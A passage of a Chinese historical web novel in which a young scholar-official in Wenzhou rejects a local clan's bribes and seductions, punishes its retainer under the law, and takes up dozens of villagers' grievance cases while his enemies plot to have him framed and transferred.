“陆大人哪里话!快快请坐!来,我为你介绍,这位是本地乡贤,汪智权汪三爷,听闻陆大人少年英才,特来一睹状元郎风采!” “原来是汪三爷,久仰。” 陆明渊的语气平淡如水,对着汪智权略一颔首,便在杜晦之安排的位子上坐了下来。 他这般不冷不热的态度,让场间的气氛有了一瞬间的凝滞。 汪智权眼中闪过一丝不易察明的不快,但脸上依旧挂着和煦的笑容,仿佛丝毫不在意陆明渊的冷淡。 他举起酒杯,朗声道。 “陆大人乃是文曲星下凡,能与陆大人同席,是我等的荣幸。” “来,我等共饮此杯,预祝陆大人在温州大展宏图!” 众人纷纷举杯附和,一时间,场面又热闹了起来。 宴席之上,山珍海味如流水般呈上。 酒过三巡,汪智权拍了拍手。 屏风后,鱼贯走出十数名身着薄纱的妙龄女子。 云袖轻摆,莲步微移,随着靡靡之音翩翩起舞。 那些女子的舞姿如藤,目光如钩。 她们在舞动间,若有若无地向陆明渊的位置靠近,秋波流转,媚眼暗送。 然而,陆明渊却仿佛视若无睹。 他只是安静地坐在那里,偶尔夹一筷子眼前的青菜,或是端起茶杯,小口地抿着。 他的目光,或落在窗外漆黑的江面上,或落在自己面前那双干净的竹筷上。 自始至终,都没有在那些舞女身上停留超过一息。 那份平静与沉稳,与他十二岁的年纪形成了巨大的反差,也与这满室的活色生香格格不入。 汪智权眉头微不可察地一皱。 好个少年郎,竟是如此在乎名声,不近女色? 他心中冷笑一声,随即又拍了拍手,示意舞女退下。 他站起身,朗声笑道。 “诸位,今日有幸请到陆大人,如此良辰美景,岂能无诗?” “我有一位故人之女,素有才名,尤爱诗词,如今正是待字闺中。汪某不才,愿拿出三百两黄金,作为彩头。” “今夜在座诸公,皆可为诗一首,若有哪位的诗作能得魁首,这三百两黄金,便赠与英雄!” 他顿了顿,目光扫过全场,带着一丝引诱的意味,继续说道。 “不止如此,夺得魁首者,更可成为我那位故人之女的入幕之宾,与之品茗论诗,共度良宵!” 三百两黄金! 一位才貌双全的神秘女子! 此言一出,满座哗然。 在座的官员,哪个不是十年寒窗苦读出来的,谁没有一点自矜的文采? 此刻被金钱与美色一激,顿时个个摩拳擦掌,跃跃欲试。 汪智权嘴角勾起一抹弧度,他要看看,到底是你的圣贤书读得硬,还是这黄金美人更动人心! 他再次击掌。 这一次,从屏风后走出的,只有一人。 那女子身着一袭素白长裙,未施粉黛,却明艳得让满室的灯火都为之黯淡。 来人正是丽春院的花魁头牌! 她怀抱琵琶,盈盈一拜,便在场中坐下。 不等众人反应,只听“铮”的一声,琴音响起,如珠落玉盘。 女子朱唇轻启,唱的却不是什么风花雪月的艳词,而是一曲苍凉的《塞下曲》。 那歌声清越而辽阔,仿佛将所有人都带到了金戈铁马的北疆,看到了大漠孤烟,长河落日。 一曲终了,余音绕梁,满室寂静。 所有人都被这一曲的风华所折服。 “好!好一个塞下曲!” 杜晦之第一个抚掌大赞,他早已按捺不住,提笔便在纸上挥毫泼墨。 不过一炷香的功夫,他便写下一首七言绝句,引来一片叫好之声。 有了知府带头,其余人更是纷纷提笔。 或赞美人,或咏江景,一时间,席间墨香四溢,气氛热烈到了极点。 所有人的目光,最后都有意无意地落在了陆明渊身上。 你是状元郎,是冠文伯,这等场面,你总不能再无动于衷了吧? 在众人的注视下,陆明渊终于放下了茶杯。 他缓缓起身,走到案前,提起了笔。 汪智权的眼中,闪过一丝得计的笑意。 他就不信,这世上还有不吃饵的鱼。 然而,陆明渊只是略一沉吟,便在纸上写下了四句诗,随即搁笔。 他对着众人一拱手,便回到了自己的座位上,继续喝茶。 一名侍者连忙将诗稿呈给汪智权。 汪智权迫不及待地打开一看,脸上的笑容却瞬间僵住了。 只见那上好的宣纸上,写着四句诗: “望江楼上望江流, 江流千载几时休。 人生好似江上客, 客来客去江自流。” 第213章 最稳妥的办法,就是将他调离! 陆明渊回到府衙,并未立刻歇下,而是就着一盏孤灯,将那份关于瑞安盐场的卷宗,又细细地看了一遍。 温州府的夜,与京城不同。 京城的夜是繁华落尽后的沉寂,带着皇权脚下的威严与肃穆。 而温州的夜,却像是被一张无形的、浸透了水汽与欲望的网笼罩着。 连空气中都漂浮着金钱与权力的味道。 望江楼上的那一幕,不过是这张网对他这位不速之客的第一次试探。 他知道,汪智权这样的人,耐心是有限的。 当糖衣失效,紧随而来的,必然是炮弹。 果不其然,五日后,一桩不大不小的案子,便被送到了他的案头。 城西的米铺一条街,汪家的一名护卫,因为一斗米的成色问题,与一个卖米的百姓起了争执。 言语不合,拳脚相向,最终那百姓被打断了一条腿,躺在地上哀嚎不止。 事情发生时,巡街的衙役恰好“路过”,当即将人犯扣下,送到府衙。 案子不复杂,人证物证俱在,但棘手的是,那名护卫的身份。 府衙的推官将卷宗呈上来时,神色颇为为难,小心翼翼地提醒道。 “陆大人,这……这打人的是汪家的护卫,名叫汪福。您看……” 言下之意,不言而喻。 陆明渊面无表情地翻看着卷宗,纸上那潦草的字迹,记录着深入骨髓的蛮横。 “依大乾律,寻衅滋事,伤人致残,该当如何?” 他淡淡地问道,声音里听不出喜怒。 推官额上渗出细汗,支吾道。 “当……当杖八十,徒一年,并赔付汤药费。” “那就依法办理。” 陆明渊合上卷宗,语气平静。 “即刻升堂,审案。” 推官愣住了,他本以为这位少年同知会像前几任一样,将此事压下,或是寻个由头,让双方私了。 毕竟,为了一个泥腿子,得罪温州府的地头蛇汪家,实在是不智之举。 可他看着陆明渊那双清澈而坚定的眼睛,不知为何,竟一个“不”字也说不出来。 他只得躬身领命,心中却已是叫苦不迭。 审案的过程毫无波澜。 那名叫汪福的护卫,起初还一脸倨傲,以为不过是走个过场。 当听到陆明渊的宣判时,整个人都懵了。 “杖八十,发配台州府服役一年,另赔偿伤者白银五十两。” “大人!小人是汪家的人!您不能……” “拖下去,行刑。” 陆明渊没有给他任何辩解的机会。 堂下的百姓先是死一般的寂静,随即爆发出压抑不住的惊呼。 他们看着那不可一世的汪家护卫被衙役们像拖死狗一样拖下去。 紧接着,外面传来一声声沉闷的杖击声和凄厉的惨叫。 众人眼神里充满了震惊与不敢置信。 多少年了,在温州这地界,还从未见过有官敢如此不给汪家面子。 陆明渊端坐堂上,面沉如水,直到八十杖打完,才宣布退堂。 他知道,他这一杖,打在汪福的身上,却也像一记响亮的耳光,狠狠地抽在了汪智权的脸上。 第二日午后,一顶青呢轿子便停在了同知衙门外。 汪智权亲自登门了。 他依旧是一身月白长衫,依旧是那副儒雅温和的模样。 他脸上带着恰到好处的歉意与愧疚,对着陆明渊一揖到底。 “陆大人,是在下管教不严,让家中恶奴惊扰了地方,给大人添麻烦了。” “汪某在此,给大人赔罪了。” 他的姿态放得极低,仿佛昨夜被打的不是他的脸面。 陆明渊虚扶一把,语气平淡。 “汪三爷言重了。下官食君之禄,忠君之事,依法办案,乃是本分,谈不上麻烦。” 两人在签押房内坐下,下人奉上清茶。 汪智权叹了口气,满脸痛心疾首。 “都怪我平日疏于管教,才让这些奴才变得如此无法无天。” “我已经着人送去了两百两银子,安顿那受伤的百姓。” “只是,我心中实在有愧,愧对陆大人这般清正廉明的好官。” 他说着,从身旁的长随手中接过一个精致的紫檀木长盒,亲手推到陆明渊面前。 “陆大人,这是前朝画圣吴道子的一幅《松下观瀑图》的仿本。” “虽是仿本,却也是出自宋代名家之手,聊表汪某的一点歉意。” “区区薄礼,还望大人不要嫌弃,只当是为我这不懂事的家奴,赔个不是。” 盒子打开,一幅古意盎然的山水画卷缓缓展开。 画中山石嶙峋,古松苍劲,飞瀑如练,气韵生动,这哪里是仿品? 这分明就是真迹! 这才是真正的杀招。 黄金美人,是试探你的底线。而这风雅的字画,则是攻心之策。 收了,便是同道中人,你欠我一个人情,日后行事便要掂量一二。 不收,便是彻底撕破脸皮,不留半点余地。 签押房内,空气仿佛凝固了。 陆明渊的目光在那画卷上停留了片刻,随即缓缓抬起,望向汪智权那双充满期待的眼睛。 他笑了笑,那笑容很浅,却像一道清洌的泉水,冲淡了这满室的机心。 “汪三爷有心了。” 他伸出手,却不是去接那画卷,而是将那紫檀木盒的盖子,轻轻地合上了。 “此画意境高远,笔法超然,确是珍品。” “只是,下官年幼,于书画一道,不过是门外汉,如此珍品放在我这里,实属明珠暗投,辜负了汪三爷的一番美意。” 他顿了顿,声音依旧温和,却带着一种不容置喙的坚定。 “至于那恶奴伤人之事,国法已有公断,是非曲直,自有定论。” “汪三爷既已赔付了伤者,此事便算了结。” “这画,下官是万万不能收的。请三爷,收回吧。” 汪智权脸上的笑容,一点一点地僵住。 他看着陆明渊那双干净得不染一丝尘埃的眸子,那里面没有贪婪,没有欲望,甚至没有一丝一毫的动摇。 他只看到了一片平静的湖水,深不见底。 这已经不是拒绝,这是一种宣告。 道不同,不相为谋。 汪智权缓缓地收回了手,脸上的血色褪尽,只剩下一片苍白。 他沉默了许久,才从牙缝里挤出几个字:“既如此……是汪某唐突了。” 他站起身,甚至没有再说一句场面话,便带着那幅价值连城的画,转身离去。 看着那顶青呢轿子消失在街角,陆明渊端起桌上已经微凉的茶,轻轻抿了一口。 茶水苦涩,一如这温州府的局势。 他知道,从这一刻起,他与汪家之间那层薄薄的窗户纸,算是彻底捅破了。 …… 汪府,书房。 “啪!” 名贵的汝窑茶盏被狠狠地摔在地上,四分五裂,茶水溅湿了光洁如镜的金砖。 汪智权胸口剧烈地起伏着,那张白净儒雅的脸上,此刻满是狰狞的怒意。 那两枚羊脂白玉核桃,在他手中急速转动,发出“咯咯”的脆响,仿佛随时都会被他捏碎。 心腹师爷躬身站在一旁,大气也不敢出。 “好!好一个陆明渊!好一个油盐不进的状元郎!” 汪智权怒极反笑,笑声中充满了冰冷的杀意。 “我汪家在温州府盘踞百年,还从未见过如此不知好歹的东西!” 他发泄了一通,才缓缓坐下,眼中闪烁着阴鸷的光。 “你说,现在该怎么办?” 他看向自己的师爷。 那师爷约莫五十来岁,山羊须,三角眼,透着一股精明。 他沉吟片刻,低声道:“三爷,依老朽看,此事已无转圜余地。” “杜晦之那样的官,咱们可以拉。他来了,酒也喝了,字画也收了,望江楼上的‘白月’,他也当了入幕之宾。” “这种人,贪财好色,有的是把柄拿捏,是友非敌。” “可这陆明渊,您看,酒宴之上,视美色如无物;黄金美人儿,他以打油诗轻之。” “如今这千金难求的名家画卷,他更是看也不看。” “此人软硬不吃,摆明了不想与我等为伍。” 师爷的眼中闪过一丝狠厉。 “三爷,凡是温州府衙里的大人,非友即敌。” “既然他不愿意做我们的朋友,那就只能是我们的敌人。” “对付敌人,便不能再心存幻想了。” 汪智权面色阴沉地点了点头:“说下去。” “此人是林瀚文的弟子,又是陛下亲封的冠文伯,杀,是下下策,动静太大,容易引火烧身。” “既然杀不得,那就只能让他走。” 师爷压低了声音,凑到汪智权耳边。 “咱们得想个法子,把他从温州府,赶出去!” “赶出去?” 汪智权眉头一挑。 “不错。”师爷的三角眼里闪着算计的光。 “此子年少,最重名声。咱们就从他的名声下手。他不是带着几个从京城来的护卫吗?那些人,就是他的软肋。” “温州靠海,倭寇之患,乃是朝廷心腹大患。咱们可以如此这般……” 师爷压低声音,将一个恶毒的计划娓娓道来。 “……安排一场戏,给他那些护卫安上一个‘通倭’的罪名。” “通倭可是灭族的大罪,他陆明渊身为上官,就算没有直接参与,一个‘失察’之罪是跑不掉的。” “届时,咱们再发动府县的言官上书弹劾,利用舆论造势,说他年少无知,德不配位,不堪同知之任。” “朝廷为了平息物议,最稳妥的办法,就是将他调离温州。” “如此一来,既不得罪死林瀚文,又能拔掉这颗钉子,岂不两全其美?” 听完师爷的毒计,汪智权眼中的阴霾一扫而空,取而代之的是一片森然的冷笑。 通倭。 这顶帽子一旦扣上,任你是什么状元郎、冠文伯,也得脱层皮。 “好计!好计啊!” 他抚掌大笑,“就这么办!先生,此事就交给你去安排,务必做得天衣无缝!” “三爷放心。” 第214章 趁着人多,浑水摸鱼,图谋翻案 几十个百姓,就那样跪在府衙前。 他们手中的状纸,被一只只枯槁的手举起。 “求陆大人,为我等草民做主!” “求陆大人,为我等草民做主——!” 声浪汇聚,如惊雷一般,炸响温州府衙的门楣。 府衙内的衙役们面面相觑,手足无措。 他们见过闹事的,见过喊冤的,却从未见过如此阵仗。 陆明渊将手中的书卷轻轻放下,理了理身上的青色官袍,迈步向外走去。 当他清瘦的身影出现在府衙门口时,那震天的呼喊声奇迹般地平息了下去。 所有人的目光,都汇聚到了这个年轻的过分的同知大人身上。 那目光里有审视,有怀疑。 但更多的是一种近乎孤注一掷的期望。 陆明渊没有立刻说话,他只是静静地站着,目光缓缓扫过每一个人。 他看到了白发苍苍的老者额上深刻如刀刻的皱纹。 看到了妇人怀中婴孩懵懂无知的双眼。 看到了壮年汉子眼中压抑不住的血丝与屈辱。 人声鼎沸,莫过于此。 他站上台阶,对着黑压压的人群,深深一揖。 这个动作,让所有人都愣住了。 自古只有民拜官,哪有官拜民的道理? “诸位乡亲,请起。” 他的声音清朗,不大,却清晰地传入每个人的耳中。 “本官陆明渊,忝为温州府同知。” 他缓缓开口,语气平和,却带着一种不容置疑的威严。 “依我大乾律,同知之职,在于赞襄知府,分管盐、粮、捕盗、江防、海疆、河工、水利,并清理军籍、抚绥民夷等事。” 人群中泛起一阵轻微的骚动。 他们听明白了,这位陆大人,管的不是他们这些民事诉讼。 “诸位所呈之案,多为诉讼,按律,当由一府之主官,也即是知府大人审理判断。” “如此方能名正言顺,还诸位一个朗朗乾坤。” 听到这里,人群中的失望情绪更浓了。 一个老者更是悲呼一声,伏地痛哭起来。 陆明渊话锋一转,声音陡然拔高了几分,带着一股浩然之气。 “但是!” 两个字,如洪钟大吕,让所有人的心神为之一震。 “念及民怨沸腾如斯,百姓含冤至此,知府大人公务繁忙,或有未至。” “本官身为朝廷命官,食君之禄,便要忠君之事,更要为民分忧!” “本官断不能坐视诸位跪于府前而无动于衷!” 他顿了顿,目光如炬,扫视全场。 “今日,我陆明渊,便替知府大人,将诸位的案子,先应承下来!” “凡诸位所诉之冤屈,本官皆会一一记录在案,并即刻调阅卷宗,先行核查。” “待知府杜大人回衙,本官必将所有案情悉数呈上,配合杜大人详查到底!” “本官在此向诸位保证,若真有冤屈,杜大人定会彻查到底,还大家一个天理昭彰,还温州一个朗朗乾坤!” 这番话,说得是滴水不漏。 他没有僭越知府的职权,只说是“先行核查”“配合知府”,将自己放在了一个辅佐者的位置上。 死一般的寂静之后,是火山爆发般的欢呼! “陆青天!” “青天大老爷啊!” “我等有救了!有救了!” 百姓们喜极而泣,纷纷叩首,那一声声“陆青天”,发自肺腑,真挚无比。 甚至有人高喊道:“陆大人贤明,想必知府大人亦是如唐之杜如晦,是我等的福气啊!” 将杜晦之比作杜如晦,这顶高帽子,戴得不可谓不大。 陆明渊心中微动,脸上却依旧平静。 他抬了抬手,示意众人安静,随即朗声安排道。 “来人,开中门,设案几,请诸位乡亲入府衙,奉上清茶。” “按序将各自冤屈案情,一一记录在案,不得有误!” 衙役们皆是精神一振,高声领命,开始有条不紊地引导百姓进入府衙。 陆明渊则转身回到签押房,他没有停歇,立刻命人将府库中近十年的诉讼卷宗全部调来。 签押房的空地上,很快便堆起了一座座小山般的陈年案卷,散发着纸张霉变和岁月尘封的味道。 他坐于案后,一卷一卷地翻阅起来,将百姓新录的口供与旧日的卷宗一一核对。 与此同时,他派出的两名衙役,也抵达了知府杜晦之的府邸。 然而,那高门大院却对他们紧紧关闭。 守门的家丁斜睨着他们,满脸倨傲,懒洋洋地说道。 “我家老爷昨夜应酬,劳累了,此刻尚未起身。有什么事,等着吧。” 任凭两名衙役如何说明事态紧急,那家丁只是不理不睬,最后干脆将门一关,耳不听不烦。 …… 两个时辰后,日已上三竿。 杜晦之打着哈欠,坐着一顶八抬大轿,才悠悠然地晃到了府衙。 他刚下轿,便被眼前府衙内人头攒动的景象惊得睡意全无。 当衙役们将清晨发生的一切向他禀报后,杜晦之那张原本还算白净的脸,瞬间涨成了猪肝色。 “好!好一个陆明渊!” 他怒吼一声,连官帽都有些歪了。 他没去自己的正堂,带着几个心腹,气势汹汹地直奔陆明渊办公的签押房杀去! “砰”的一声,签押房的门被粗暴地撞开。 杜晦之喘着粗气,指着依旧在埋首案牍的陆明渊,厉声喝问。 “陆明渊!” 陆明渊缓缓抬起头,看着怒气冲冲的杜晦之,眼神平静无波。 他站起身,不疾不徐地整理了一下衣袍,对着杜晦之躬身行了一礼。 “下官,见过知府大人。” 杜晦之却根本不理会他的礼节,三步并作两步冲到他面前,唾沫星子几乎喷到他的脸上。 “上一次何二柱的案子,你说牵涉军籍,由你这个同知办案,本官念你年少,不与你计较,算是给了你天大的面子!” “如今,民怨沸腾?几十件过往的冤案,你竟敢擅作主张,全部接下?” “你眼里还有没有我这个知府?你还知不知道这温州府衙的规矩!” “这温州府的知府,究竟是我杜晦之,还是你陆明渊?” 这番逼问,字字句句都站在官场的规矩和法理上。 可谓有理有据,气势夺人。 面对这狂风暴雨般的诘难,陆明渊却依旧站得笔直,如一杆青竹。 他先是再次躬身,语气诚恳地说道。 “大人息怒。此事下官处置或有不周,惊扰了大人,下官在此,先给大人赔个不是。” 这一声道歉,让杜晦之的怒火稍稍一滞,仿佛一拳打在了棉花上。 不等他再次发作,陆明渊已经直起身子,不卑不亢地继续说道。 “只是,事急从权,还请大人明鉴。” “今日清晨,府衙门开,便有数十名百姓跪于门前,群情激愤,声浪震天,已成民乱之兆。” “下官听闻,杜大人昨日为温州府公务,在教坊司操劳至半夜才归,想必是极为辛苦。” “教坊司”三个字一出,杜晦之的脸色猛地一变。 那是官妓所在,说是公务,谁会相信? 陆明渊此言,看似体谅,实则是在点明他身为知府,却夜宿风月之所,玩忽职守。 “下官不敢惊扰大人清梦,故而派遣衙役前去通报,只盼大人能尽快回衙主持大局。” “然,大人府上家丁称大人尚未起身,将衙役拒之门外。” “府衙之外,百姓越聚越多,眼看便要生乱。” “下官身为同知,有抚绥民夷之责。” “此等情形,若再不加以安抚处置,一旦激起民变,你我二人,皆难向朝廷交代。” “因此,下官斗胆,暂代大人安抚百姓,将他们引入府中,先行记录案情。” “此举乃是为了维稳,是为大人分忧,于大乾律法,并非逾矩。” 一席话,有理有据,将自己的行为定义为“事急从权”和“为上官分忧”。 瞬间将杜晦之的指责化解于无形。 杜晦之被噎得半天说不出话来,脸色青一阵白一阵。 陆明渊仿佛没有看到他的窘态,侧过身,指了指地上堆积如山的案卷。 “至于大人所言,下官将几十件冤案全部接下,更是无稽之谈。” “下官只是命人将百姓所诉冤情记录在册,并未审理,也未判决。” “并且,在大人回衙之前,下官已将所有新录的口供与旧日卷宗,做了简单的核对。” 他走到书案前,从一沓整理好的文书中,抽出几张,双手递给杜晦之。 “大人请看。今日百姓所呈之案,共计七十三件。” “下官粗略核实过后,发现其中有五桩案件,原告所述与卷宗记录出入极大,前后矛盾,颠倒黑白。” “显系诬告,不过是想趁着人多,浑水摸鱼,图谋翻案。” “但是……” 陆明渊的声音沉了下来,目光也变得锐利如刀。 “其余的六十八件案件,卷宗记录或语焉不详,或证据链残缺,或判决结果与罪行轻重完全不符。” “更有甚者,人证前后供述截然相反,其中蹊跷之处,数不胜数!” 他将那厚厚一叠文书放在杜晦之面前的桌上,发出一声沉闷的声响。 “下官人微言轻,不敢妄断。” “这六十八桩疑案,孰是孰非,孰真孰假,还请知府大人明察!” 第215章 擒贼先擒王,治病要除根 杜晦之看着眼前那堆积如山的文书,又看了看陆明渊那双不见底的眼神。 他只觉得一股寒气从脚底板直冲天灵盖。 杜晦之傻眼了。 他不是蠢人,三年前能于数万士子中脱颖而出,独占鳌头,他的才智心性,岂是寻常? 他只是一瞬间,便想通了这其中所有的关窍。 陆明渊这一手,不是请君入瓮,而是直接当着所有衙役的面,将他杜晦之架了起来! 什么叫“不敢妄断”? 什么叫“请大人明察”? 这分明是在告诉他,这六十八桩案子,我陆明渊已经看过,已经知道里面藏着泼天的冤屈。 你杜晦之是温州知府,是主官,现在皮球在你脚下。 你踢,还是不踢? 你若是不管,强行压下。 他陆明渊明日一封奏折递进京城,弹劾你一个“怠政失职,罔顾民生,勾结巨室,草菅人命。 以“冠文伯”的身份,以他圣眷正浓的势头,自己绝对吃不了兜着走。 嘉靖或许不在乎几个草民的死活,但绝不会容忍一个地方官,将民怨捅到足以动摇统治的地步。 可若是管了……杜晦之的眼皮狂跳。 这些案卷他虽未细看,但只消用脚指头想,也知道是何缘由。 能积压多年,让百姓走投无路,只能在府衙门前行此险招的,背后牵扯的势力,岂是等闲? 温州府内的几大世家,哪一个不是盘根错节,枝蔓牵连到省里,甚至京中? 他杜晦之,不过是一个外来的知府,根基尚浅,如何与这些地头蛇斗? 陆明渊,你这是要我的命啊! 杜晦之的脸色由猪肝般的紫红,渐渐转为死人般的煞白。 他胸口剧烈地起伏着,看着陆明渊那张年轻的过分的脸。 那份平静与从容,在他眼中,此刻竟显得无比狰狞。 他想发作,想咆哮,想指着陆明渊的鼻子骂他“竖子,安敢欺我”。 可话到嘴边,却一个字也吐不出来。 因为陆明渊的每一句话,每一个行为,都站在“规矩”和“公理”之上,无懈可击。 他,只能接下。 许久,杜晦之猛地一甩那宽大的官袍袖子。 “哼!” 一声冷哼,他转身便走,直奔自己的正堂书房。 回到熟悉的地盘,杜晦之的心神才稍稍安定。 他一屁股坐在那张紫檀木的太师椅上,端起茶杯,却发现手抖得厉害,茶水溅出了几滴。 “陆明渊……陆明渊……” 他咬牙切齿地念着这个名字,眼中闪过一丝狠厉。 你想让我死,我也不能让你好过! 你想拿这些案子当进身的阶梯,踩着我杜某人的肩膀往上爬? 没那么容易! 这潭水,既然你搅浑了,那就一起下来泡着吧! 他立刻传下令去,将府衙内所有能调动的书吏、官员全部召集起来。 几十件冤案,堆在他的书房里,他也开始学着陆明渊的样子,先行理清头绪。 不得不说,状元郎的底子毕竟摆在那里。 杜晦之一旦认真起来,其能力亦是不凡。 他将所有案卷分发下去,命手下官员先与鸣冤的百姓逐一核对口供,与卷宗记录比对。 那些证据确凿,事实清晰的,直接立案重审。 那些含糊不清,难以定夺的,再汇总到他这里,由他亲自定案。 一个下午的时间,在整个府衙机器的高速运转下,几十件冤案的脉络,竟被他理得七七八八。 结果,与陆明渊的判断一般无二。 这些案子,几乎桩桩件件都有问题。 越是深挖,一个越是清晰的脉络便浮现出来。 世家兼并田地,侵占商铺,放印子钱逼良为娼。 桩桩件件,都指向了温州府内那几个根深蒂固的庞然大物。 杜晦之的后心,又开始冒出冷汗。 他明白了,这些案子,他一个人绝对扛不住。 他必须把陆明渊绑在一起! 他拿起朱笔,开始在那些案卷的封皮上做着记号。 凡是卷宗里直接写明了状告对象是“汪家”、“张家”等温州大族的案子,他毫不犹豫地将其划拨出来。 需要绕个弯子才能查到世家头上的案子,他则以知府的名义,大包大揽地接了下来。 他要用这些案子,去和那些世家周旋、谈判、甚至……交易。 而最硬的骨头,最烫手的山芋,他要全部丢给陆明渊。 你不是陆青天吗? 你不是为民做主吗? 好,这五十三状直指世家的冤案,就交给你这位“冠文伯”去审理! 我倒要看看,你的脖子,有没有那些世家的刀子硬! 很快,一摞摞被朱笔圈画过的卷宗,被衙役们用托盘捧着,浩浩荡荡地送往陆明渊的签押房。 “陆大人,” 为首的衙役躬着身子,头垂得极低,声音里带着一丝不易察觉的颤抖。 “知府大人说了,这些案子,案情重大,牵涉甚广,非有大魄力、大智慧者不能办。” “大人您是状元之才,陛下亲封的冠文伯,由您来先行审理,最为妥当。” “知府大人他……他会为您掠阵的。” 这番话说得漂亮,可谁都听得出来。 这是杜晦之在甩锅,在将陆明渊推向风口浪尖。 签押房内的气氛瞬间凝重下来,所有人都看向端坐于案后的陆明渊。 陆明渊的脸上,依旧是那副古井无波的神情。 他抬起眼,看了看那堆积如山的案卷,又看了看眼前战战兢兢的衙役。 嘴微微向上,牵起一个几乎无法察觉的弧度。 他等的东风,终于从杜晦之这里,吹出来了。 “放下吧!” 他淡淡地说道。 “回去告诉知府大人,就说他为温州百姓日夜操劳,下官心中钦佩。” “这些案子,我接下了。” 没有丝毫的为难,没有半句的推诿。 那份从容与淡定,让衙役们心中同时冒出一个念头。 这位陆大人,怕不是个疯子吧? 待衙役们退下,陆明渊站起身。 看着那五十三桩被杜晦之精心“筛选”出来的冤案,眼中精光一闪而过。 “来人。” “在!” 几名亲信衙役立刻上前。 “将所有卷宗,按照所属县城乡镇,区分开来。同一个地方的案子,归拢到一处。” “是!” 一声令下,小小的签押房立刻变得忙碌起来。 分类的工作,持续了足足半个时辰。 当最后一份卷宗被归类完毕,结果清晰地呈现在陆明渊面前时,他目光一凝。 五十三桩冤案。 其中,有三十六起,来自同一个地方——平阳县。 有十二起,来自与平阳县相邻的瑞安县。 剩下的五桩,才是温州府城内的零散案件! 问题瞬间清晰! 平阳县,绝对是整个温州府腐烂得最彻底,问题最严重的地方! “将所有平阳县的卷宗,都搬到我的书案上来。” 陆明渊沉声下令。 擒贼先擒王,治病要除根。 他决定,就从这三十六起冤案开始,彻底撕破世家的遮羞布! 夜色如墨,浸染了整个天空。 府衙之内,除了巡夜衙役的脚步声和更夫的梆子声,便只剩下陆明渊的签押房,依旧灯火通明。 他坐于案后,一卷一卷地翻阅着,手中的狼毫笔在雪白的纸上飞快地记下要点。 夜至子时,万籁俱寂。 签押房的门被轻轻推开,一阵清雅的幽香伴随着夜的凉意飘了进来。 若雪端着一个食盒,身姿聘婷地走了进来。 她的身后,跟着两名身形健硕的护卫,警惕地守在了门外。 “公子,这么晚了,该用些宵夜了。” 她的声音清冷,却带着一丝关切,洗去了几分房内的沉闷。 陆明渊从卷宗中抬起头,揉了揉有些发酸的眼睛,看到是她,脸上露出了一丝温和的笑意。 “你来了。” “公子在为民请命,若雪虽是女儿身,不能分忧,也该为公子备好汤羹,暖一暖身子。” 若雪将食盒中的一碗莲子羹和几碟精致的小菜摆在桌角,动作轻柔,有条不紊。 陆明渊指了指身边另一堆尚未整理的瑞安县卷宗。 “你帮我个忙。将这些卷宗里的原告、被告、事由、判决结果,以及所有出现过的人名和地名,都分门别类地抄录下来。” 若雪的眼中闪过一丝惊讶,随即化为一抹亮色。 她没有丝毫犹豫,盈盈一福:“是,公子。” 她随即在陆明渊身旁的另一张小案后坐下。 挽起袖子,露出一截皓白的手腕,研墨铺纸,竟真的开始帮他整理起卷宗来。 她的动作极为娴熟,字迹清秀,条理清晰,竟丝毫不比那些专业的书吏差。 又是两个时辰过去,天边已经泛起了鱼肚白。 陆明渊终于放下了手中最后一份平阳县的卷宗,长长地吐出了一口浊气。 他闭上眼睛,脑海中,三十六个看似毫无关联的案件,都指向了同一个名字 霸占李老汉三代人耕种的五十亩良田,将其活活逼死的,是汪家的管事。 强行低价收购了张屠户在县城唯一一间铺子,让其一家老小流落街头的,是汪家的旁支子弟。 借了三十两银子的高利贷,利滚利到三百两,最终逼得王秀才之女卖身青楼的,是汪家开设的钱庄。 …… 无论是霸占田地,还是强抢民铺,无论是杀人夺产,还是设局陷害。 这三十六桩血泪斑斑的冤案,其背后都指向了同一个人。 温州府,汪家。 第216章 汪家,损失惨重,却寂静无声 “若雪。” “你将整理好的瑞安县卷宗封存,其余平阳县的案卷,随我出门。” 陆明渊站起身,活动了一下有些僵硬的筋骨,骨节发出一连串细微的脆响。 他走到窗边,推开窗户,清晨带着湿气的微凉空气扑面而来,让他精神为之一振。 天际,那抹鱼肚白已经展开。 温州府的轮廓,在晨光中渐渐清晰。 “公子是要……” 若雪冰雪聪明,已然猜到了七八分。 “擒贼先擒王,打蛇打七寸。” 陆明渊的目光投向东方,那里是平阳县的方向。 “杜知府既然将这把刀递到了我的手上,我若是不让它见见血,岂非辜负了他一番‘美意’?” 他稍作洗漱,又用了半碗莲子羹,便不再耽搁。 府衙之内,早已待命的二十余名精干衙役集结完毕。 与此同时,那些在府衙外苦等了一夜的平阳县百姓也被请了进来。 “诸位乡亲,” 陆明渊的声音不大,却清晰地传入每一个人耳中。 “你们的冤屈,本官已经知晓。是非曲直,总要有个公道。” “今日,我便与你们同去平阳,我要亲眼看一看,是哪里的王法,敢让青天白日之下,生出如此多的魑魅魍魉!” 没有多余的废话,一声令下,一行人便浩浩荡荡地出了温州府衙。 二十多名衙役在前开道,陆明渊骑着一匹神骏的白马居中。 身后跟着那三十多名神情激动的百姓,他们或推着独轮车,或挑着担子。 里面装着的,是他们全部的家当,以及一叠叠早已泛黄的状纸。 这支奇怪的队伍,在清晨的薄雾中,如同一柄出鞘的利剑,直指平阳! …… 平阳县衙。 知县孟康正端着一碗参茶,悠哉地听着窗外的鸟鸣。 他只觉得官场生涯,能在这富庶之地做个父母官,也算是一桩美事。 汪家虽说霸道了些。 但每年送来的“冰敬”“炭敬”却也着实丰厚,足以让他过得比京城里许多同僚都滋润。 就在这时,一名师爷连滚带爬地冲了进来,脸色煞白,连官帽都跑歪了。 “大……大人!不好了!出大事了!” 孟康眉头一皱,不悦道:“慌慌张张,成何体统!天塌下来了不成?” “比天塌下来还……还厉害!” 师爷喘着粗气,指着县衙外。 “府……府里的冠文伯,陆同知……带着人马和一群刁民,已经到县衙门口了!” “什么?!” 孟康手一抖,那碗价值不菲的参茶“哐当”一声摔在地上,碎成了几片。 他直接从太师椅上弹了起来。 陆明渊前段时间才来过平阳县! 如今怎么又来? 还带着人马和……刁民? 孟康的脑子嗡的一声,瞬间一片空白。他 不是蠢人,能在这盘根错节的平阳县坐稳知县的位置,自有他的玲珑心思。 只一瞬间,他便想到了前几日府城闹得沸沸扬扬的百人鸣冤,想到了那些状纸背后共同指向的名字。 汪家! 陆明渊是冲着汪家来的! 一股寒气从孟康的尾椎骨直冲头顶,他只觉得手脚冰凉。 他立刻意识到,这已经不是他能和稀泥糊弄过去的事情了。 “快!快去后门!” 他压低声音,对身边一个心腹衙役急声道。 “立刻去见赵大管家,告诉他,就说府里的陆大人亲至,来者不善。” 